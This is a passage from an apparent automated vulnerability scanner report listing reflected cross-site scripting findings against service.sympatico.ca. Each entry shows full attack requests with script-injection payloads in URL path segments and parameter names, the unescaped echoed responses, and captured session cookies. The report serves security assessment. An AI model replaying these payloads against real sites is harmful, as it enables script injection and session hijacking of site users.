language%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:17:24 GMT
Connection: close
Set-Cookie: SMSESSION=zRoYSOwTpQzpbzgfxzF7xcGE5Icv2a2E5nueQIDxyvJRKpEl/uOwlhwAy1WniktQ5rRhyc6UAaQtTpw4jvbi6/d/k1/ikdU+2bQoF7uIxQkpNK4O0O7hv2P9K2TNkj8hsOYeQ+hmUDVc0gv7iJb7O3I9qRXvn93QzdmhrABKdd5/LVZvgfPHnn94uU6bFYYR6fcfqU1PhRkPM3kgwrwO9lUrbvK2WdVbJeCDxb6oMHNWEXnPSqOa7yl4144RShZHdRXPQKoCis9++Ro3v/dO98KqkAKVBwTPnBtT826n0IPo0dzaqhodzw==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:17:24 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:17:24 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:17:24 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:17:24 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:17:24 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:17:24 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:17:24 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:17:24 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:17:24 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:17:24 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:17:24 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:17:24 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:17:24 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:17:24 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images26811"><script>alert(1)</script>d271ee996cc/icons/vi_topNavBundles.png" />
...[SNIP]...

2.141. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavBundles.png [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavBundles.png

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cf481"><script>alert(1)</script>d63bb6e5431 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/iconscf481"><script>alert(1)</script>d63bb6e5431/vi_topNavBundles.png HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:17:27 GMT
Connection: close
Set-Cookie: SMSESSION=M0i4QUCVXTLHIo2VdakREbFECe/OZ6n5tZ8z7ctAcRP2QqhAWUkdsBjx/JlEyVoY43IAi9jCSbxF1DcVfID6EEU0fclto37S71nMh23plI9WzM3XavzPUD5l+iCyX9tH+5jynDH5ap5ElqKoAITZGjJYDjHNdLLqLC8eOq90t/u3qclBoZf/pLFL2QBlkG4D78ohfLTXp2GrvXKmS0Kw41oeIjeXxuazjaHDj/9G/HyUt3sacsOORFR/X+TZlA5LLLb94QaTajkMh+sLfzAd4ZBnyfMzuu/YawbY2NTpzALKjYzx5btzhQ==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:17:27 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:17:27 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:17:27 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:17:27 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:17:27 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:17:27 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:17:27 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:17:27 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:17:27 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:17:27 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:17:27 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:17:27 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:17:27 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:17:27 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
vice.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/iconscf481"><script>alert(1)</script>d63bb6e5431/vi_topNavBundles.png" />
...[SNIP]...

2.142. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavBundles.png [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavBundles.png

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ac7e1"><script>alert(1)</script>b161e2c1ef1 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavBundles.pngac7e1"><script>alert(1)</script>b161e2c1ef1 HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:17:29 GMT
Connection: close
Set-Cookie: SMSESSION=d3E64sZUsyjG92iicjB8Zsh5bisFAWHjSne3/kJ2PgKnkw3N6ZIYNtwnDSzkGl4facTDKpojZ843bM43RgQsJ9nrf4YopOTezYisrA3+Gxfj03IQLP0Ss9j5XslS+UBSQfrqah9b8T0hSTcIL+CXKfD6qyd3lh5DhSXpPPgkrQzuDVyQbBfPc3D47p3HD+dmfgHVcwkmmGWR8RgVoWAqi3gvZPMOx3ze4aDxa1SEV3883xWrrFvn4I2x/sVwfbgVskGOND/iMXmuqPBJpg+hknnF1grTCbJ/ECpkCoAsQor36udAx9w+4g==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:17:29 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:17:29 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:17:29 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:17:29 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:17:29 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:17:29 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:17:29 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:17:29 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:17:29 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:17:29 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:17:29 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:17:29 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:17:29 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:17:29 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
ex.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavBundles.pngac7e1"><script>alert(1)</script>b161e2c1ef1" />
...[SNIP]...

2.143. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavBundles.png [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavBundles.png

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e4af7"><script>alert(1)</script>4aefcc159b8 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavBundles.png?e4af7"><script>alert(1)</script>4aefcc159b8=1 HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; 